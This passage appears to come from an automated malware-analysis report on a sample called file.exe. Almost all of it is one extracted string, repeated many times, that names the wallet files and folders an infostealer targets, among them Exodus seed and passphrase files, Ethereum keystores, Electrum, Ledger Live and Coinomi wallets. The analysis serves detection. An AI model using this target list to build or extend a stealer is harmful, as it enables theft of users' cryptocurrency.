Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000B14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
